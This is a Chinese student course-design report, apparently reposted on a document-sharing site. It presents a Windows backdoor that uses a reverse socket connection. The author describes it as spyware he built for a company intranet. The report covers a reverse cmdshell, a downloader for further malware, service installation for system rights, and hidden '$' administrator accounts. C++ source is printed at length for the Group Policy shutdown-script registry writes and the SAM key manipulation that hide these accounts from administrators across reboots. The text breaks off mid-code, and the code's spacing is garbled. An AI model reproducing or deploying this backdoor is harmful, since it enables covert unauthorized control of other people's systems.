c++课程设计基于反弹socket通信的windows系统后门实现毕业论文.docx
- 文档编号:27425721
- 上传时间:2023-06-30
- 格式:DOCX
- 页数:86
- 大小:658.29KB
c++课程设计基于反弹socket通信的windows系统后门实现毕业论文.docx
《c++课程设计基于反弹socket通信的windows系统后门实现毕业论文.docx》由会员分享,可在线阅读,更多相关《c++课程设计基于反弹socket通信的windows系统后门实现毕业论文.docx(86页珍藏版)》请在冰豆网上搜索。
c++课程设计基于反弹socket通信的windows系统后门实现毕业论文
课程设计报告
课程名称:
面向对象程序设计
设计题目:
基于反弹Socket通信的windows系统后门实现
专业:
计算机科学与技术
姓名:
学号:
指导教师:
李晓虹
2016年1月5日
基于反弹socket通信的windows系统后门程序
前言
由于工作需要,本人开发了一个比较强大的windows系统后门程序管理某个公司内网作为间谍软件,经过一翻修改,将大部分功能去掉,公布了这部分功能源代码,请老师细看,绝对是网上独一无二的后门程序,开发周期为3个月的时间(此次作业仅为部分主要功能源代码),此程序具有一定的破坏性,请勿恶意使用,仅仅做测试即可。
1.需求分析
1.1介绍
后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。
基于反弹socket通信的windows系统后门程序,此程序为典型恶意后门程序,在渗透测试的过程中我们会获取目标服务器的系统权限,如果目标服务器刚好在企业内网里,通过拿下的服务器可以进行进一步的信息搜集渗透内网里的其他网络,如果目标服务是公网服务器,那么可以保存下来做中转跳板,要达到以上目的都需要服务器长久的保存下去,毕竟大多数情况下我们是未授权而进入系统的,管理员的维护活动很有可能修补了我们所能利用的漏洞,如果能通过合适的后门程序来维护被我们攻陷的服务器,那么在一定程度上可以延长服务器在我们手中的控制时间。
下面来简要的介绍一下这个windows系统后门的功能:
程序分为三个子程序,分别为:
HVNcon.exe:
后门主控制程序,包含主要的系统操作代码与后门反弹连接代码,其中包含的功能有服务安装、关机计划注册表操作、写Explorer启动项、下载者、反弹cmdshell、cmdshell密码保护。
HVNADD.exe
主要功能是延时添加指定用户到注册表中,代码中设置了sleep函数在系统启动后规定的时间外执行用户添加,HVNcon.exe中写Explorer启动项就是为了执行HVNADD.exe。
HVNdel.exe
主要功能是关机执行的从注册表SAM中删除指定用户信息的任务,HVNcon.exe中关机计划注册表操作函数就是实现此功能。
1.2功能简介
服务启动
服务是指执行指定系统功能的程序、进程,以便支持其他程序,尤其是底层程序,服务就是一种特殊的应用程序,服务启动后对应的程序就一直运行,对于自启动的服务,在系统加载完后就自动启动,而不需要登陆,采用服务启动可以获取系统最高权限,而不仅仅是当前用户权限。
反弹后门连接
反弹后门的工作原理与常见的木马不一样,反弹后门的连接为反向连接方式,也就是让我们预控制的目标中马后来反向连接我们的控制端,由于防火墙对外连的流量一般是放行的,都是信任的流量,也就信任了反弹后门的行为。
后门连接密码保护
对我们已经控制了的服务器,为了不被其他黑客所利用,通常会为自己的后门加密码验证来保护自己所控制的服务器。
隐藏用户的重启隐藏
此功能为本后门的又一大亮点,在为服务器添加隐藏账后可能由于各种原因管理员要对服务器进行维护更有可能重启服务器,那么在“计算机管理”里的“本地用户和组”—“用户”里会通过重新读取注册表SAM来显示出我们的隐藏用户,那么我想到的思路则是关闭服务器的过程中从注册表中删除隐藏用户重启服务器后延时添加我们的隐藏用户的操作。
这里通过HVNcon.exe来写入Explorer/Run启动项来开机进入桌面后自动调用HVNADD.exe来添加用户。
下载者
通过去互联网上下载其他恶意程序到本地执行其他恶意行为,如:
键盘记录、远程监听、广告插件等。
2.总体设计
2.1功能要求
(1)支持单个目标客户端的连接,在服务器和多个客户端之间进行数据传输;
(2)利用C/Ssocket通信,反弹连接,由客户端主动去连接服务端,可在服务端上执行客户端的命令并将显示结果回传;
(3)在用户连接上后有提示,显示出连接信息与客户端主机名;
(4)在系统注册表中创建用户配置;
(5)关机前删除注册表中的用户,重启完成后延时在注册表中创建关机前删除的用户。
2.3系统主要功能和主要功能描述:
服务器端控制程序能够做的事情:
(1)隐藏用户,并且重启隐藏,当运行此程序时恶意用户会在服务器关机后被删除,开机后延迟在注册表中创建隐藏账户。
(2)反弹连接,由客户端主动通过Socket隧道连接服务端,并执行CMD命令。
(3)通过下载者功能可以下载其他程序到客户端上执行。
(4)通过服务启动,并非注册表启动项启动,可以获得系统最高权限。
3.详细设计
3.1隐藏用户的重启隐藏
隐藏用户的基本创建思路是首先创建一个基本的最后带$符号的用户,然后将HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下的目标隐藏用户的二进制目录与HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下的用户名称导出到本地磁盘,然后删除刚才创建的隐藏用户,将导出的注册表键值导入注册表就完成了隐藏用户的创建,这样就创建了隐藏用户,重启系统后打开“计算机管理”—“本地用户和组管理”—“用户”后会自动刷新HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下的用户而显示出来,这时创建的隐藏用户会再次显示出来。
解决方法
既然在重启系统后打开“本地用户和组管理”会重新刷新注册表来显示出里面的隐藏用户,那么想到的思路是关机时执行某个脚本程序来删除我们创建隐藏用户,重启系统后再延时创建隐藏用户来达到绕过注册表键值刷新。
实施
在“运行”中打开“CMD”,在“计算机配置”—“Windows设置”—“脚本(启动/关机)”中“关机”配置里面可以添加我们需要执行的脚本或程序,如图3-1所示:
图3-1
这里可以添加某个删除用户的脚本或程序来达到关闭系统删除隐藏用户的功能,这里首先尝试添加任意程序后组策略在注册表里写了哪些键值,如图3-2、图3-3所示:
图3-2
图3-3
从在注册表中查找到的HVNdel.exe来看,写入的注册表中的位置为:
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\GroupPolicy\State\Machine\Scripts\Shutdown
(2)HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\windows\System\Scripts\Shutdown
定位到Shutdown下面的子键与值:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\windows\System\Scripts\Shutdown\0
如图3-4所示
图3-4
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\windows\System\Scripts\Shutdown\0\0
如图3-5所示
图3-5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\GroupPolicy\State\Machine\Scripts\Shutdown中键值同上。
启动添加用户的话就简单了直接将我们需要创建的隐藏用户写入:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names,将“类型”指向Administrator所指向的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下的键名称。
有了注册表键值创建位置那么这些都可以通过注册表编程来实现注册表的读、写、删。
代码实现
首先当然是用户删除代码:
#include
#include
#pragmacomment(linker,"/subsystem:
\"windows\"/entry:
\"mainCRTStartup\"")
typedefstructstu
{
intm_num;
intm_name;
};
voidmain(void)
{
HKEYhKey;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\Names",&hKey)==ERROR_SUCCESS)
{
RegDeleteKey(hKey,"zzadmin$");
RegCloseKey(hKey);
}
}
typedefstructstu
{
intm_num;
intm_name;
};
这段预定义的作用是隐藏程序的执行窗口。
RegOpenKey()函数打开指定注册表键,打开后调用RegDeleteKey()函数来删除指定的键,并关闭。
删除/添加隐藏账号代码实现:
voidstartup(void)
{
//延迟50000毫秒执行函数代码
Sleep(50000);
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubkey="SAM\\SAM\\Domains\\Account\\Users\\Names\\zzadmin$";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
//递归创建下面的子健(不存在则创建)
LONGlRet=RegCreateKeyEx(
hRoot,
szSubkey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
//创建键值
lRet=RegSetValueEx(
hKey,
"",
0,
//0x1f5,
0x000001F4,
//0x3ee,
NULL,
NULL);
}
voidMachineShutdown(void)
{
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GroupPolicy\\State\\Machine\\Scripts\\Shutdown\\0";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
LONGlRet=RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
lRet=RegSetValueEx(
hKey,
"DisplayName",
0,
REG_SZ,
(unsignedchar*)"LocalGroupPolicy",
25);
lRet=RegSetValueEx(
hKey,
"FileSysPath",
0,
REG_SZ,
(unsignedchar*)"C:
\\WINDOWS\\System32\\GroupPolicy\\Machine",
45);
lRet=RegSetValueEx(
hKey,
"GPO-ID",
0,
REG_SZ,
(unsignedchar*)"LocalGPO",
15);
lRet=RegSetValueEx(
hKey,
"GPOName",
0,
REG_SZ,
(unsignedchar*)"LocalGroupPolicy",
25);
lRet=RegSetValueEx(
hKey,
"SOM-ID",
0,
REG_SZ,
(unsignedchar*)"Local",
10);
if(lRet==ERROR_SUCCESS)
{
printf("selfrunsuccess\n");
}
RegCloseKey(hKey);
}
voidMachineShutdownScript(void)
{
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GroupPolicy\\State\\Machine\\Scripts\\Shutdown\\0\\0";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
LONGlRet=RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
lRet=RegSetValueEx(
hKey,
"Parameters",
0,
REG_SZ,
NULL,
NULL);
lRet=RegSetValueEx(
hKey,
"Script",
0,
REG_SZ,
(unsignedchar*)"C:
\\WINDOWS\\userdel.exe",
25);
if(lRet==ERROR_SUCCESS)
{
printf("selfrunsuccess\n");
}
RegCloseKey(hKey);
}
voidMachineStartup(void)
{
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GroupPolicy\\State\\Machine\\Scripts\\Startup";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
LONGlRet=RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
}
voidPoliciesSystemShutdown(void)
{
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubKey="SOFTWARE\\Policies\\Microsoft\\windows\\System\\Scripts\\Shutdown\\0";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
LONGlRet=RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
//charszModule[MAX_PATH];
//GetModuleFileName(NULL,szModule,MAX_PATH);
lRet=RegSetValueEx(
hKey,
"DisplayName",
0,
REG_SZ,
(unsignedchar*)"LocalGroupPolicy",
25);
lRet=RegSetValueEx(
hKey,
"FileSysPath",
0,
REG_SZ,
(unsignedchar*)"C:
\\WINDOWS\\System32\\GroupPolicy\\Machine",
45);
lRet=RegSetValueEx(
hKey,
"GPO-ID",
0,
REG_SZ,
(unsignedchar*)"LocalGPO",
15);
lRet=RegSetValueEx(
hKey,
"GPOName",
0,
REG_SZ,
(unsignedchar*)"LocalGroupPolicy",
25);
lRet=RegSetValueEx(
hKey,
"SOM-ID",
0,
REG_SZ,
(unsignedchar*)"Local",
10);
if(lRet==ERROR_SUCCESS)
{
printf("selfrunsuccess\n");
}
RegCloseKey(hKey);
}
voidPoliciesSystemShutdownScript(void)
{
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubKey="SOFTWARE\\Policies\\Microsoft\\windows\\System\\Scripts\\Shutdown\\0\\0";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
LONGlRet=RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
lRet=RegSetValueEx(
hKey,
"Parameters",
0,
REG_SZ,
NULL,
NULL);
lRet=RegSetValueEx(
hKey,
"Script",
0,
REG_SZ,
(unsignedchar*)"C:
\\WINDOWS\\userdel.exe",
25);
if(lRet==ERROR_SUCCESS)
{
printf("selfrunsuccess\n");
}
RegCloseKey(hKey);
}
voidPoliciesSystemStartup(void)
{
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubKey="SOFTWARE\\Policies\\Microsoft\\windows\\System\\Scripts\\Startup";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
LONGlRet=RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
}
以上是根据前面对注册表的启动计划分析出来的必须创建的键/值,并通过RegCreateKeyEx()来创建对应的键/值。
以上对注册表键值的添加的前提都是前面经过对关机计划策略分析所得出的注册表操作选项。
由于我们需要对后门程序进行开机延迟添加用户的操作,这样是为了防止系统开机后马上去注册表SAM上去读取到用户值而暴露到用户和组中,所以我们需要设置开机运行的USERADD.exe添加用户的延迟时间,这里是可以随意设置的,USERADD.cpp代码量小,所以直接写在main函数里,代码如下:
voidmain(void)
{
Sleep(50000);
Sleep(50000);
HKEYhRoot=HKEY_LOCAL_MACHINE;
char*szSubkey="SAM\\SAM\\Domains\\Account\\Users\\Names\\zzadmin$";
HKEYhKey;
DWORDdwDisposition=REG_OPENED_EXISTING_KEY;
//设置注册表键值
LONGlRet=RegCreateKeyEx(
hRoot,
szSubkey,
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if(lRet!
=ERROR_SUCCESS)
return;
//需要设置的指定注册表的键值
lRet=Reg
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- c+ 课程设计 基于 反弹 socket 通信 windows 系统 后门 实现 毕业论文